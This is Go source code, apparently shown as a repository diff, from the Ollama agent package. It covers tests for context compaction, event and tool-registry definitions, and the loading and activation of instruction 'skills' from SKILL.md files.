Messages: []api.Message{
{Role: "user", Content: "old request"},
{Role: "assistant", Content: "old answer"},
{Role: "user", Content: "recent request"},
},
Force: true,
})
if err != nil {
t.Fatal(err)
}
if result.Compacted || result.Reason != "summary was empty" {
t.Fatalf("compaction result = %#v", result)
}
if len(client.requests) != 2 {
t.Fatalf("summary requests = %d, want 2", len(client.requests))
}
if client.requests[1].Think == nil || client.requests[1].Think.Value != false {
t.Fatalf("fallback summary request think = %#v, want false", client.requests[1].Think)
}
}
func TestSimpleCompactorFallsBackToUnsetThinkWhenThinkFalseUnsupported(t *testing.T) {
client := &scriptedCompactionClient{
responses: [][]api.ChatResponse{
{{Message: api.Message{Role: "assistant", Thinking: "internal summary plan"}}},
nil,
{{Message: api.Message{Role: "assistant", Content: "unset think summary"}}},
},
errs: []error{
nil,
api.StatusError{StatusCode: http.StatusBadRequest, ErrorMessage: "think level is not supported"},
nil,
},
}
compactor := &SimpleCompactor{Client: client, Options: CompactionOptions{
ContextWindowTokens: 100,
KeepUserTurns: 1,
Threshold: 0.5,
}}
thinkHigh := &api.ThinkValue{Value: "high"}
result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
Model: "model",
Messages: []api.Message{
{Role: "user", Content: "old request"},
{Role: "assistant", Content: "old answer"},
{Role: "user", Content: "recent request"},
},
Think: thinkHigh,
Force: true,
})
if err != nil {
t.Fatal(err)
}
if !result.Compacted || result.Summary != "unset think summary" {
t.Fatalf("compaction result = %#v", result)
}
if len(client.requests) != 3 {
t.Fatalf("summary requests = %d, want 3", len(client.requests))
}
if client.requests[0].Think != thinkHigh {
t.Fatalf("first summary request think = %#v, want original", client.requests[0].Think)
}
if client.requests[1].Think == nil || client.requests[1].Think.Value != false {
t.Fatalf("fallback summary request think = %#v, want false", client.requests[1].Think)
}
if client.requests[2].Think != nil {
t.Fatalf("unsupported fallback retry think = %#v, want nil", client.requests[2].Think)
}
}
func TestSimpleCompactorKeepsFewerTurnsForShortChats(t *testing.T) {
client := &fakeClient{
responses: [][]api.ChatResponse{{
{Message: api.Message{Role: "assistant", Content: "short summary"}},
}},
}
compactor := &SimpleCompactor{Client: client, Options: CompactionOptions{
ContextWindowTokens: 16000,
KeepUserTurns: 3,
Threshold: 0.5,
}}
result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
ChatID: "chat-1",
Model: "model",
Messages: []api.Message{
{Role: "user", Content: "old request"},
{Role: "assistant", Content: "old answer"},
{Role: "user", Content: "latest request"},
},
Latest: api.ChatResponse{Metrics: api.Metrics{PromptEvalCount: 12000}},
})
if err != nil {
t.Fatal(err)
}
if !result.Compacted {
t.Fatal("expected compaction")
}
if len(result.Messages) != 3 {
t.Fatalf("messages = %#v, want compaction tool pair plus latest request", result.Messages)
}
assertCompactionSummaryPair(t, result.Messages[:2])
if result.Messages[2].Content != "latest request" {
t.Fatalf("latest turn was not kept: %#v", result.Messages)
}
}
func TestSimpleCompactorCanArchiveWholeShortChat(t *testing.T) {
client := &fakeClient{
responses: [][]api.ChatResponse{{
{Message: api.Message{Role: "assistant", Content: "whole summary"}},
}},
}
compactor := &SimpleCompactor{Client: client, Options: CompactionOptions{
ContextWindowTokens: 100,
KeepUserTurns: 3,
Threshold: 0.5,
}}
result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
ChatID: "chat-1",
Model: "model",
Messages: []api.Message{
{Role: "user", Content: "only request"},
{Role: "assistant", Content: "only answer"},
},
Latest: api.ChatResponse{Metrics: api.Metrics{PromptEvalCount: 75}},
})
if err != nil {
t.Fatal(err)
}
if !result.Compacted {
t.Fatal("expected compaction")
}
if len(result.Messages) != 2 {
t.Fatalf("messages = %#v, want only compaction tool pair", result.Messages)
}
assertCompactionSummaryPair(t, result.Messages)
}
func TestSimpleCompactorSkipsBelowThreshold(t *testing.T) {
client := &fakeClient{}
compactor := &SimpleCompactor{Client: client, Options: CompactionOptions{
ContextWindowTokens: 100,
Threshold: 0.8,
}}
messages := []api.Message{
{Role: "user", Content: "one"},
{Role: "user", Content: "two"},
{Role: "user", Content: "three"},
{Role: "user", Content: "four"},
{Role: "user", Content: "five"},
}
result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
Model: "model",
Messages: messages,
Latest: api.ChatResponse{Metrics: api.Metrics{PromptEvalCount: 50}},
})
if err != nil {
t.Fatal(err)
}
if result.Compacted {
t.Fatal("did not expect compaction")
}
if result.Due {
t.Fatal("below-threshold compaction should not be due")
}
if len(result.Messages) != len(messages) {
t.Fatalf("messages changed below threshold: %#v", result.Messages)
}
if len(client.requests) != 0 {
t.Fatalf("summary requests = %d, want 0", len(client.requests))
}
}
func TestSimpleCompactorUsesEstimatedMessagesWhenPromptEvalMissing(t *testing.T) {
client := &fakeClient{
responses: [][]api.ChatResponse{{
{Message: api.Message{Role: "assistant", Content: "estimated summary"}},
}},
}
compactor := &SimpleCompactor{Client: client, Options: CompactionOptions{
ContextWindowTokens: 100,
KeepUserTurns: 1,
Threshold: 0.8,
}}
result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
Model: "model",
Messages: []api.Message{
{Role: "user", Content: "old request"},
{Role: "assistant", Content: "old answer"},
{Role: "user", Content: "read large output"},
{Role: "assistant", ToolCalls: []api.ToolCall{{
ID: "call-1",
Function: api.ToolCallFunction{
Name: "read",
},
}}},
{Role: "tool", ToolName: "read", ToolCallID: "call-1", Content: strings.Repeat("x", 360)},
},
})
if err != nil {
t.Fatal(err)
}
if !result.Due || !result.Compacted {
t.Fatalf("expected estimate-driven compaction, got %#v", result)
}
if result.Summary != "estimated summary" {
t.Fatalf("summary = %q", result.Summary)
}
}
func TestSimpleCompactorEstimateIncludesRequestPreamble(t *testing.T) {
compactor := &SimpleCompactor{Client: nil, Options: CompactionOptions{
ContextWindowTokens: 100,
Threshold: 0.8,
}}
if !compactor.shouldCompact(CompactionRequest{
SystemPrompt: strings.Repeat("system ", 360),
Messages: []api.Message{{Role: "user", Content: "tiny"}},
}) {
t.Fatal("system prompt should count toward compaction estimate")
}
if !compactor.shouldCompact(CompactionRequest{
Messages: []api.Message{{Role: "user", Content: "tiny"}},
Tools: api.Tools{{
Type: "function",
Function: api.ToolFunction{
Name: "verbose_tool",
Description: strings.Repeat("description ", 360),
},
}},
}) {
t.Fatal("tool definitions should count toward compaction estimate")
}
}
func TestCompactionPromptFitsBudgetByTruncatingLargeToolOutput(t *testing.T) {
largeToolOutput := strings.Repeat("x", 10_000)
body, err := compactionPrompt("", []api.Message{
{Role: "user", Content: "what changed?"},
{Role: "assistant", ToolCalls: []api.ToolCall{{
ID: "call-1",
Function: api.ToolCallFunction{
Name: "bash",
},
}}},
{Role: "tool", ToolName: "bash", ToolCallID: "call-1", Content: largeToolOutput},
}, 300)
if err != nil {
t.Fatal(err)
}
if estimateCompactionTokens(body) > 300 {
t.Fatalf("compaction prompt tokens = %d, want <= 300", estimateCompactionTokens(body))
}
if strings.Count(body, "x") >= len(largeToolOutput) {
t.Fatal("large tool output was not truncated")
}
if !strings.Contains(body, "[tool output truncated: showing first ~") {
t.Fatalf("truncation marker missing from compaction prompt: %q", body)
}
}
func TestCompactionPromptRetruncatesAlreadyTruncatedToolOutput(t *testing.T) {
alreadyTruncated := strings.Repeat("x", 7000) + "\n\n[tool output truncated: showing first ~100 tokens and last ~100 tokens; omitted ~99999 tokens. Use a narrower command, line range, or search query if more detail is needed.]\n\n" + strings.Repeat("y", 7000)
body, err := compactionPrompt("", []api.Message{
{Role: "user", Content: "what changed?"},
{Role: "assistant", ToolCalls: []api.ToolCall{{
ID: "call-1",
Function: api.ToolCallFunction{
Name: "bash",
},
}}},
{Role: "tool", ToolName: "bash", ToolCallID: "call-1", Content: alreadyTruncated},
}, 300)
if err != nil {
t.Fatal(err)
}
if estimateCompactionTokens(body) > 300 {
t.Fatalf("compaction prompt tokens = %d, want <= 300", estimateCompactionTokens(body))
}
if strings.Count(body, "x")+strings.Count(body, "y") >= 14_000 {
t.Fatal("already-truncated tool output was not truncated again")
}
if !strings.Contains(body, "[tool output truncated: showing first ~") {
t.Fatalf("truncation marker missing from compaction prompt: %q", body)
}
}
func TestCompactionSummaryTextStripsPrefix(t *testing.T) {
content := compactionSummaryMessageForTask("worked on branch changes", false)
if got := CompactionSummaryText(content); got != "worked on branch changes" {
t.Fatalf("summary text = %q", got)
}
}
func TestCompactionSummaryCanTellModelToContinueTask(t *testing.T) {
content := compactionSummaryMessageForTask("worked on branch changes", true)
if !strings.Contains(content, CompactionContinueInstruction) {
t.Fatalf("summary message missing continue instruction: %q", content)
}
if got := CompactionSummaryText(content); got != "worked on branch changes" {
t.Fatalf("summary text = %q", got)
}
}
func TestResolveContextWindowTokensPrefersExplicitNumCtx(t *testing.T) {
tests := []struct {
name string
options map[string]any
configured int
want int
}{
{
name: "explicit smaller num ctx",
options: map[string]any{"num_ctx": 4096},
configured: 8192,
want: 4096,
},
{
name: "explicit num ctx can exceed configured metadata",
options: map[string]any{"num_ctx": 131072},
configured: 8192,
want: 131072,
},
{
name: "metadata without explicit num ctx",
configured: 32768,
want: 32768,
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
if got := ResolveContextWindowTokens(tt.options, tt.configured); got != tt.want {
t.Fatalf("ResolveContextWindowTokens() = %d, want %d", got, tt.want)
}
})
}
}
func TestSimpleCompactorForceCompactsWithoutPromptEvalCount(t *testing.T) {
client := &fakeClient{
responses: [][]api.ChatResponse{{
{Message: api.Message{Role: "assistant", Content: "forced summary"}},
}},
}
compactor := &SimpleCompactor{Client: client, Options: CompactionOptions{
ContextWindowTokens: 100,
KeepUserTurns: 1,
Threshold: 0.8,
}}
result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
Model: "model",
Messages: []api.Message{
{Role: "user", Content: "old"},
{Role: "assistant", Content: "old answer"},
{Role: "user", Content: "recent"},
},
Force: true,
})
if err != nil {
t.Fatal(err)
}
if !result.Due || !result.Compacted {
t.Fatalf("forced compaction result = %#v", result)
}
if result.Summary != "forced summary" {
t.Fatalf("summary = %q", result.Summary)
}
}
func TestSimpleCompactorDefaultsToKeepingThreeUserTurns(t *testing.T) {
client := &fakeClient{
responses: [][]api.ChatResponse{{
{Message: api.Message{Role: "assistant", Content: "summary"}},
}},
}
compactor := &SimpleCompactor{Client: client, Options: CompactionOptions{
ContextWindowTokens: 16000,
Threshold: 0.5,
}}
result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
ChatID: "chat-1",
Model: "model",
Messages: []api.Message{
{Role: "user", Content: "old"},
{Role: "assistant", Content: "old answer"},
{Role: "user", Content: "one"},
{Role: "assistant", Content: "one answer"},
{Role: "user", Content: "two"},
{Role: "assistant", Content: "two answer"},
{Role: "user", Content: "three"},
},
Latest: api.ChatResponse{Metrics: api.Metrics{PromptEvalCount: 12000}},
})
if err != nil {
t.Fatal(err)
}
if !result.Compacted {
t.Fatal("expected compaction")
}
assertCompactionSummaryPair(t, result.Messages[:2])
if got := result.Messages[2].Content; got != "one" {
t.Fatalf("first kept turn = %q, want one", got)
}
}
func TestSimpleCompactorCarriesPreviousSummary(t *testing.T) {
client := &fakeClient{
responses: [][]api.ChatResponse{{
{Message: api.Message{Role: "assistant", Content: "new summary"}},
}},
}
compactor := &SimpleCompactor{Client: client, Options: CompactionOptions{
ContextWindowTokens: 16000,
KeepUserTurns: 1,
Threshold: 0.5,
}}
result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
Model: "model",
Messages: []api.Message{
{Role: "system", Content: CompactionSummaryMessagePrefix + "old summary"},
{Role: "user", Content: "old"},
{Role: "assistant", Content: "old answer"},
{Role: "user", Content: "recent"},
},
Latest: api.ChatResponse{Metrics: api.Metrics{PromptEvalCount: 12000}},
})
if err != nil {
t.Fatal(err)
}
if !result.Compacted {
t.Fatal("expected compaction")
}
if !strings.Contains(client.requests[0].Messages[1].Content, "Previous summary:\nold summary") {
t.Fatalf("previous summary missing from request: %q", client.requests[0].Messages[1].Content)
}
}
func TestSimpleCompactorCarriesPreviousToolSummaryAndPlacesNewSummaryBeforeKeptSuffix(t *testing.T) {
client := &fakeClient{
responses: [][]api.ChatResponse{{
{Message: api.Message{Role: "assistant", Content: "new summary"}},
}},
}
compactor := &SimpleCompactor{Client: client, Options: CompactionOptions{
ContextWindowTokens: 16000,
KeepUserTurns: 1,
Threshold: 0.5,
}}
messages := []api.Message{
{Role: "user", Content: "kept before old summary"},
CompactionSummaryMessages("old summary", false)[0],
CompactionSummaryMessages("old summary", false)[1],
{Role: "user", Content: "latest request"},
}
result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
Model: "model",
Messages: messages,
Latest: api.ChatResponse{Metrics: api.Metrics{PromptEvalCount: 12000}},
})
if err != nil {
t.Fatal(err)
}
if !result.Compacted {
t.Fatal("expected compaction")
}
if !strings.Contains(client.requests[0].Messages[1].Content, "Previous summary:\nold summary") {
t.Fatalf("previous summary missing from request: %q", client.requests[0].Messages[1].Content)
}
if len(result.Messages) != 3 {
t.Fatalf("messages = %#v, want compaction pair plus latest request", result.Messages)
}
assertCompactionSummaryPair(t, result.Messages[:2])
if result.Messages[2].Content != "latest request" {
t.Fatalf("kept suffix = %#v", result.Messages)
}
}
+177
View File
@@ -0,0 +1,177 @@
package agent
import (
"context"
"errors"
"github.com/ollama/ollama/api"
)
type EventType string
const (
EventMessageDelta EventType = "message_delta"
EventThinkingDelta EventType = "thinking_delta"
EventToolCallDetected EventType = "tool_call_detected"
EventToolStarted EventType = "tool_started"
EventToolFinished EventType = "tool_finished"
EventCompactionStarted EventType = "compaction_started"
EventCompactionProgress EventType = "compaction_progress"
EventCompacted EventType = "compacted"
EventCompactionSkipped EventType = "compaction_skipped"
EventRunFinished EventType = "run_finished"
EventError EventType = "error"
)
// ToolStatus is the typed lifecycle state for a tool call, carried on
// Event.ToolStatus for tool events.
type ToolStatus string
const (
ToolStatusRunning ToolStatus = "running"
ToolStatusDone ToolStatus = "done"
ToolStatusFailed ToolStatus = "failed"
ToolStatusDenied ToolStatus = "denied"
ToolStatusDisabled ToolStatus = "disabled"
ToolStatusSkipped ToolStatus = "skipped"
)
// RunStatus is the typed terminal outcome of a run, carried on Event.Status for
// run_finished events.
type RunStatus string
const (
RunStatusDone RunStatus = "done"
RunStatusDenied RunStatus = "denied"
RunStatusCanceled RunStatus = "canceled"
)
// CompactionTrigger is the typed reason a compaction ran or was attempted,
// carried on Event.CompactionTrigger for compaction events.
type CompactionTrigger string
const (
CompactionTriggerForce CompactionTrigger = "force"
CompactionTriggerPromptEval CompactionTrigger = "prompt_eval"
CompactionTriggerEstimate CompactionTrigger = "estimate"
CompactionTriggerToolOutput CompactionTrigger = "tool_output"
CompactionTriggerError CompactionTrigger = "error"
CompactionTriggerDue CompactionTrigger = "due"
)
type Event struct {
Type EventType `json:"type"`
RunID string `json:"runId,omitempty"`
ChatID string `json:"chatId,omitempty"`
Model string `json:"model,omitempty"`
Status RunStatus `json:"status,omitempty"`
ToolStatus ToolStatus `json:"toolStatus,omitempty"`
CompactionTrigger CompactionTrigger `json:"compactionTrigger,omitempty"`
ToolCallID string `json:"toolCallId,omitempty"`
ToolName string `json:"toolName,omitempty"`
WorkingDir string `json:"workingDir,omitempty"`
Content string `json:"content,omitempty"`
Thinking string `json:"thinking,omitempty"`
ToolCalls []api.ToolCall `json:"toolCalls,omitempty"`
Messages []api.Message `json:"messages,omitempty"`
Args map[string]any `json:"args,omitempty"`
Tokens int `json:"tokens,omitempty"`
Error string `json:"error,omitempty"`
}
type EventSink interface {
Emit(Event) error
}
type EventSinkFunc func(Event) error
func (fn EventSinkFunc) Emit(event Event) error {
if fn == nil {
return nil
}
return fn(event)
}
// eventMetadata carries the run identification fields shared by all events.
type eventMetadata struct {
runID string
chatID string
model string
}
func newEventMetadata(runID string, opts RunOptions) eventMetadata {
return eventMetadata{runID: runID, chatID: opts.ChatID, model: opts.Model}
}
func newMessageDelta(m eventMetadata, content string) Event {
return Event{Type: EventMessageDelta, RunID: m.runID, ChatID: m.chatID, Model: m.model, Content: content}
}
func newThinkingDelta(m eventMetadata, thinking string) Event {
return Event{Type: EventThinkingDelta, RunID: m.runID, ChatID: m.chatID, Model: m.model, Thinking: thinking}
}
func newToolCallDetected(m eventMetadata, calls []api.ToolCall) Event {
return Event{Type: EventToolCallDetected, RunID: m.runID, ChatID: m.chatID, Model: m.model, ToolCalls: calls}
}
func newToolStarted(m eventMetadata, callID, toolName, workingDir string, args map[string]any) Event {
return Event{Type: EventToolStarted, RunID: m.runID, ChatID: m.chatID, Model: m.model, ToolStatus: ToolStatusRunning, ToolCallID: callID, ToolName: toolName, WorkingDir: workingDir, Args: args}
}
func newToolFinished(m eventMetadata, status ToolStatus, callID, toolName, workingDir string, args map[string]any, content, errMsg string) Event {
ev := Event{Type: EventToolFinished, RunID: m.runID, ChatID: m.chatID, Model: m.model, ToolStatus: status, ToolCallID: callID, ToolName: toolName, WorkingDir: workingDir, Args: args, Content: content}
if errMsg != "" {
ev.Error = errMsg
}
return ev
}
func newRunFinished(m eventMetadata, status RunStatus) Event {
return Event{Type: EventRunFinished, RunID: m.runID, ChatID: m.chatID, Model: m.model, Status: status}
}
func newErrorEvent(m eventMetadata, errMsg string) Event {
return Event{Type: EventError, RunID: m.runID, ChatID: m.chatID, Model: m.model, Error: errMsg}
}
func newCompactionProgress(m eventMetadata, tokens int) Event {
return Event{Type: EventCompactionProgress, RunID: m.runID, ChatID: m.chatID, Model: m.model, Tokens: tokens}
}
func newCompactionStarted(m eventMetadata, trigger CompactionTrigger) Event {
return Event{Type: EventCompactionStarted, RunID: m.runID, ChatID: m.chatID, Model: m.model, CompactionTrigger: trigger}
}
func newCompactionSkipped(m eventMetadata, trigger CompactionTrigger, content string) Event {
return Event{Type: EventCompactionSkipped, RunID: m.runID, ChatID: m.chatID, Model: m.model, CompactionTrigger: trigger, Content: content}
}
func newCompacted(m eventMetadata, messages []api.Message, trigger CompactionTrigger, content string) Event {
return Event{Type: EventCompacted, RunID: m.runID, ChatID: m.chatID, Model: m.model, CompactionTrigger: trigger, Content: content, Messages: messages}
}
func (s *Session) emit(event Event) error {
if s == nil {
return nil
}
var errs []error
for _, sink := range s.EventSinks {
if sink == nil {
continue
}
if err := sink.Emit(event); err != nil {
errs = append(errs, err)
}
}
return errors.Join(errs...)
}
func (s *Session) emitIgnoringCanceled(ctx context.Context, event Event) error {
err := s.emit(event)
if err != nil && ctx != nil && ctx.Err() != nil {
//nolint:nilerr // Event sinks may close during cancellation; cancellation is not a user-facing emit failure.
return nil
}
return err
}
+104
View File
@@ -0,0 +1,104 @@
package agent
import (
"context"
"fmt"
"sort"
"github.com/ollama/ollama/api"
)
type ToolContext struct {
WorkingDir string
}
type ToolResult struct {
Content string
WorkingDir string
}
type Tool interface {
Name() string
Description() string
Schema() api.ToolFunction
Execute(context.Context, ToolContext, map[string]any) (ToolResult, error)
}
type ApprovalRequired interface {
RequiresApproval(map[string]any) bool
}
// ScopedTool is implemented by tools that need per-invocation approval
// scoping beyond the tool name (e.g. shell commands scoped to the exact
// command string). Tools that don't implement this are scoped by name only.
type ScopedTool interface {
ApprovalScope(args map[string]any) string
}
type Registry struct {
tools map[string]Tool
}
func (r *Registry) Register(tool Tool) {
if r == nil || tool == nil {
return
}
if r.tools == nil {
r.tools = make(map[string]Tool)
}
r.tools[tool.Name()] = tool
}
func (r *Registry) Get(name string) (Tool, bool) {
if r == nil {
return nil, false
}
tool, ok := r.tools[name]
return tool, ok
}
func (r *Registry) Names() []string {
if r == nil {
return nil
}
names := make([]string, 0, len(r.tools))
for name := range r.tools {
names = append(names, name)
}
sort.Strings(names)
return names
}
func (r *Registry) Tools() api.Tools {
if r == nil {
return nil
}
names := r.Names()
apiTools := make(api.Tools, 0, len(names))
for _, name := range names {
tool := r.tools[name]
apiTools = append(apiTools, api.Tool{
Type: "function",
Function: tool.Schema(),
})
}
return apiTools
}
func (r *Registry) Execute(ctx context.Context, toolCtx ToolContext, call api.ToolCall) (ToolResult, error) {
tool, ok := r.Get(call.Function.Name)
if !ok {
return ToolResult{}, fmt.Errorf("unknown tool: %s", call.Function.Name)
}
return tool.Execute(ctx, toolCtx, call.Function.Arguments.ToMap())
}
func ToolRequiresApproval(tool Tool, args map[string]any) bool {
if tool == nil {
return false
}
if t, ok := tool.(ApprovalRequired); ok {
return t.RequiresApproval(args)
}
return false
}
+1099
View File
File diff suppressed because it is too large. Load diff
File diff suppressed because it is too large. Load diff
+57
View File
@@ -0,0 +1,57 @@
package agent
import (
"context"
"strings"
"github.com/google/uuid"
"github.com/ollama/ollama/api"
)
// activateSkill loads opts.SkillName from the catalog and injects a synthetic
// assistant tool call plus tool result before the first model request, so the
// transcript looks like a real skill tool invocation. It emits the same
// tool_call_detected -> tool_started -> tool_finished lifecycle the model path
// uses, and returns the messages to prepend. A blank SkillName is a no-op.
func (s *Session) activateSkill(ctx context.Context, runID string, opts RunOptions) ([]api.Message, error) {
name := strings.TrimSpace(opts.SkillName)
if name == "" {
return nil, nil
}
select {
case <-ctx.Done():
return nil, ctx.Err()
default:
}
skill, err := s.Skills.Load(name)
if err != nil {
return nil, err
}
args := api.NewToolCallFunctionArguments()
args.Set("name", skill.Name)
call := api.ToolCall{
ID: "call_skill_" + uuid.NewString(),
Function: api.ToolCallFunction{Name: "skill", Arguments: args},
}
result := api.Message{
Role: "tool",
ToolName: "skill",
ToolCallID: call.ID,
Content: skill.Content(),
}
meta := newEventMetadata(runID, opts)
if err := s.emit(newToolCallDetected(meta, []api.ToolCall{call})); err != nil {
return nil, err
}
if err := s.emit(newToolStarted(meta, call.ID, "skill", s.currentWorkingDir(), args.ToMap())); err != nil {
return nil, err
}
if err := s.emitIgnoringCanceled(ctx, newToolFinished(meta, ToolStatusDone, call.ID, "skill", s.currentWorkingDir(), args.ToMap(), result.Content, "")); err != nil {
return nil, err
}
return []api.Message{
{Role: "assistant", ToolCalls: []api.ToolCall{call}},
result,
}, nil
}
+74
View File
@@ -0,0 +1,74 @@
package agent
import (
"context"
"os"
"path/filepath"
"strings"
"testing"
"github.com/ollama/ollama/api"
)
type skillTestClient struct{ requests []*api.ChatRequest }
func (c *skillTestClient) Chat(_ context.Context, req *api.ChatRequest, fn api.ChatResponseFunc) error {
c.requests = append(c.requests, req)
return fn(api.ChatResponse{Message: api.Message{Role: "assistant", Content: "Done."}})
}
func testSkillCatalog(t *testing.T) *SkillCatalog {
t.Helper()
dir := t.TempDir()
path := filepath.Join(dir, "release-notes")
if err := os.Mkdir(path, 0o755); err != nil {
t.Fatal(err)
}
if err := os.WriteFile(filepath.Join(path, "SKILL.md"), []byte("---\nname: release-notes\ndescription: Draft release notes.\n---\nUse concise bullets."), 0o644); err != nil {
t.Fatal(err)
}
catalog, err := DiscoverSkills(dir)
if err != nil {
t.Fatal(err)
}
return catalog
}
func TestSessionSkillActivationPreservesCallAndResultOrder(t *testing.T) {
catalog := testSkillCatalog(t)
client := &skillTestClient{}
events := &recordingEventSink{}
result, err := (&Session{Client: client, Skills: catalog, EventSinks: []EventSink{events}}).Run(context.Background(), RunOptions{
Model: "test",
NewMessages: []api.Message{{Role: "user", Content: "draft release notes"}},
SkillName: "release-notes",
})
if err != nil {
t.Fatal(err)
}
if len(result.Messages) != 4 {
t.Fatalf("transcript = %#v", result.Messages)
}
call, toolTranscript := result.Messages[1], result.Messages[2]
if call.Role != "assistant" || len(call.ToolCalls) != 1 || call.ToolCalls[0].Function.Name != "skill" || !strings.HasPrefix(call.ToolCalls[0].ID, "call_skill_") {
t.Fatalf("call message = %#v", call)
}
if toolTranscript.Role != "tool" || toolTranscript.ToolName != "skill" || toolTranscript.ToolCallID != call.ToolCalls[0].ID || !strings.Contains(toolTranscript.Content, "Use concise bullets.") {
t.Fatalf("tool result = %#v", toolTranscript)
}
if len(client.requests) != 1 || len(client.requests[0].Messages) != 3 || client.requests[0].Messages[2].ToolCallID != call.ToolCalls[0].ID {
t.Fatalf("model request did not preserve transcript: %#v", client.requests)
}
var skillEvents []EventType
for _, event := range events.events {
if event.ToolName == "skill" || event.Type == EventToolCallDetected {
skillEvents = append(skillEvents, event.Type)
}
}
if len(skillEvents) < 3 {
t.Fatalf("skill event order = %#v, want tool_call_detected,tool_started,tool_finished", skillEvents)
}
if got, want := strings.Join([]string{string(skillEvents[0]), string(skillEvents[1]), string(skillEvents[2])}, ","), "tool_call_detected,tool_started,tool_finished"; got != want {
t.Fatalf("skill event order = %#v, want %s", skillEvents, want)
}
}
+438
View File
@@ -0,0 +1,438 @@
package agent
import (
"errors"
"fmt"
"io/fs"
"os"
"path/filepath"
"regexp"
"sort"
"strings"
"gopkg.in/yaml.v3"
)
const (
// SkillsDirEnv overrides the user-level Ollama-owned skills directory. The
// cross-client .agents/skills/ convention and project-level .ollama/skills/
// are also scanned (see LoadDefaultSkills); on a name collision, Ollama-owned
// directories take precedence over .agents/skills/, and project-level takes
// precedence over user-level.
SkillsDirEnv = "OLLAMA_SKILLS"
skillFilename = "SKILL.md"
maxSkillBytes = 1 << 20
bundledSkillCreatorName = "skill-creator"
bundledSkillCreatorContent = `---
name: skill-creator
description: Create or improve reusable skills. Use when the user wants a reusable skill, asks how to author SKILL.md, or needs help installing a skill.
---
# Create a skill
Create a focused, reusable instruction package. Treat a skill as guidance for the model, not as a way to gain new permissions or bypass safety controls.
## Choose the location
Create user skills beside this one. The skill directory shown in the loaded skill context is this skill's location; its parent is the user skill root. This bundled skill normally lives at ~/.ollama/skills/skill-creator, so new user skills normally go at ~/.ollama/skills/<skill-name>/SKILL.md.
Use a project-local skill directory only when the user asks to keep the skill with that project. Do not overwrite an existing skill without the user's approval. New and changed skills are discovered when the agent starts, so tell the user to begin a new agent session afterward.
## Follow the required shape
Use the directory name as the skill name. Use lowercase letters, numbers, and single hyphens only. Keep the name short and no longer than 64 characters.
Every skill needs a SKILL.md with YAML frontmatter followed by Markdown instructions:
~~~md
---
name: release-notes
description: Draft concise release notes from completed changes. Use when the user asks for a changelog, release notes, or GitHub release copy.
---
# Draft release notes
Write the workflow here.
~~~
Require a non-empty description that says both what the skill does and when to use it. Keep the body procedural and concise. Put detailed schemas, long examples, and variant-specific guidance in references/ only when the skill needs them.
Use scripts/ for repeatable or fragile operations that benefit from deterministic execution. Use assets/ for files that belong in generated output. Do not add README files, changelogs, or setup notes that do not help the model perform the task.
## Create safely
1. Identify the repeated task, expected inputs, and useful output.
2. Choose the smallest name and description that reliably trigger the skill.
3. Create the folder and SKILL.md; add resources only when they remove real repeated work.
4. Re-read the completed file and verify its frontmatter, directory-name match, and relative resource paths.
5. Tell the user where it was created and that a new agent session will discover it.
Skills provide instructions only. They do not grant filesystem, network, shell, or approval privileges, and they do not make a tool available. Use only the tools that are actually available, follow their normal approval rules, and ask before actions that need user authorization.
`
)
var skillName = regexp.MustCompile(`^[a-z0-9]+(?:-[a-z0-9]+)*$`)
// SkillsDir returns the canonical runtime-owned skill directory.
func SkillsDir() (string, error) {
if path := strings.TrimSpace(os.Getenv(SkillsDirEnv)); path != "" {
return filepath.Abs(path)
}
if xdg := strings.TrimSpace(os.Getenv("XDG_CONFIG_HOME")); xdg != "" {
return filepath.Join(xdg, "ollama", "skills"), nil
}
home, err := os.UserHomeDir()
if err != nil {
return "", err
}
return filepath.Join(home, ".ollama", "skills"), nil
}
// Skill is a validated, loadable instruction set. It never grants tool
// permissions; it is supplied to the model as ordinary tool-result content.
type Skill struct {
Name string
Description string
Instructions string
Path string
}
func (s Skill) Content() string {
var b strings.Builder
fmt.Fprintf(&b, "<skill name=%q>\n%s\n", s.Name, strings.TrimSpace(s.Instructions))
if s.Path != "" {
dir := filepath.Dir(s.Path)
fmt.Fprintf(&b, "Skill directory: %s\n", dir)
b.WriteString("Relative paths in this skill are relative to the skill directory.\n")
}
if resources := s.resources(); len(resources) > 0 {
b.WriteString("<skill_resources>\n")
for _, r := range resources {
fmt.Fprintf(&b, " <file>%s</file>\n", r)
}
b.WriteString("</skill_resources>\n")
}
b.WriteString("</skill>")
return b.String()
}
// resources lists bundled files one level deep under scripts/, references/,
// and assets/ without reading them, so the model can load them on demand.
func (s Skill) resources() []string {
if s.Path == "" {
return nil
}
dir := filepath.Dir(s.Path)
var resources []string
for _, sub := range []string{"scripts", "references", "assets"} {
entries, err := os.ReadDir(filepath.Join(dir, sub))
if err != nil {
continue
}
for _, e := range entries {
if e.IsDir() {
continue
}
resources = append(resources, sub+"/"+e.Name())
}
}
sort.Strings(resources)
return resources
}
// SkillCatalog contains valid skills and diagnostics for ignored invalid
// entries, so one malformed skill cannot hide the rest.
type SkillCatalog struct {
dir string
skills map[string]Skill
diagnostics []error
}
func DiscoverSkills(dir string) (*SkillCatalog, error) {
dir, err := filepath.Abs(strings.TrimSpace(dir))
if err != nil {
return nil, err
}
catalog := &SkillCatalog{dir: dir, skills: make(map[string]Skill)}
entries, err := os.ReadDir(dir)
if errors.Is(err, fs.ErrNotExist) {
return catalog, nil
}
if err != nil {
return nil, fmt.Errorf("read skills directory: %w", err)
}
for _, entry := range entries {
name := entry.Name()
// Follow symlinks so users can point at shared skill repositories.
// The link name (not the target) is the canonical skill name.
info, err := os.Stat(filepath.Join(dir, name))
if err != nil {
if errors.Is(err, fs.ErrNotExist) {
continue
}
catalog.diagnostics = append(catalog.diagnostics, fmt.Errorf("skill %q: %w", name, err))
continue
}
if !info.IsDir() {
continue
}
if !skillName.MatchString(name) {
catalog.diagnostics = append(catalog.diagnostics, fmt.Errorf("invalid skill directory %q", name))
continue
}
skill, err := parseSkill(filepath.Join(dir, name, skillFilename), name)
if errors.Is(err, fs.ErrNotExist) {
continue
}
if err != nil {
catalog.diagnostics = append(catalog.diagnostics, err)
continue
}
catalog.skills[skill.Name] = skill
